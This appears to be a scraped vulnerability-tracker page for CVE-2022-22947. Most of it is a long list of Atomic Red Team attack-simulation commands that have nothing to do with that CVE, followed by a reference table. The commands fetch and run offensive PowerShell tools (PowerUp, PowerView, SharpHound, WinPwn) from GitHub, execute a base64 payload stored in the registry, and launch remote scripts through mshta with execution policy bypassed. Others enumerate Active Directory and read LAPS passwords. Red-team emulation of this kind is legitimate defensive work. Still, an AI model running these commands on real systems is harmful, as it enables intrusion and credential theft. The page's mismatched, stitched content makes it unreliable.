reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-22947 |
| tanzu.vmware.com |
GitHub CVE
|
https://tanzu.vmware.com/security/cve-2022-22947 |
| oracle.com |
GitHub CVE
|
https://www.oracle.com/security-alerts/cpuapr2022.html |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/166219/Spring-Cloud-Gateway-3.1.0-Remote-Code-Execution.html |
| oracle.com |
GitHub CVE
|
https://www.oracle.com/security-alerts/cpujul2022.html |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/168742/Spring-Cloud-Gateway-3.1.0-Remote-Code-Execution.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-22947 |